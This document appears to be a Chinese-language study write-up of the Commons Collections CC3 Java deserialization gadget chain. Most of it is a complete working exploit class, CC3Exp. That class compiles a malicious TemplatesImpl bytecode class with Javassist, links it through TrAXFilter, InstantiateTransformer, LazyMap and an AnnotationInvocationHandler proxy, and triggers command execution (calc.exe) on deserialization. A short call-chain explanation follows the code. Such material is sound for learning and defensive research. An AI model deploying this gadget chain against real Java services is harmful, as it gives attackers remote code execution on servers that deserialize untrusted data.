1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC3Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"calc.exe\"); }"); ctClass.addConstructor(constructor);
byte[] bytecodes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes}); setFieldValue(templates, "_name", "EvilTemplates"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler1 );
InvocationHandler handler2 = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
byte[] bytes = serialize(handler2); System.out.println("序列化完成,准备触发反序列化...");
unserialize(bytes); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
前半部分 readObject -> LazyMap::get 和 CC1 LazyMap 一样。
这里的 iParamTypes 是 {Templates.class},iArgs 是 {templates}

TrAXFilter 的构造方法接收一个 Templates 类型的参数,并且构造方法内部直接调用了参数的 newTransformer()



使用自定义类加载器加载恶意字节码

当 _class[0].newInstance() 被调用时,会执行通过 Javassist 插入的恶意代码
1 2 3 4
| public EvilClass() { java.lang.Runtime.getRuntime().exec("calc.exe"); }
|
利用 TemplatesImpl 动态加载并执行恶意的 Java 字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13
| ois.readObject() <=> ObjectInputStream.readObject() AnnotationInvocationHandler::readObject() ->Map(Proxy)::entrySet() ->AnnotationInvocationHandler::invoke() ->LazyMap::get() ->ChainedTransformer::transform() ->ConstantTransformer::transform() ->InstantiateTransformer::transform() ->TrAXFilter::<init>() // 调用构造方法 ->TemplatesImpl::newTransformer() ->TemplatesImpl::getTransletInstance() ->TemplatesImpl::defineTransletClasses() // 加载恶意字节码为 Class ->MaliciousClass::<init>() // 实例化恶意类,触发静态代码块/无参构造中的命令执行
|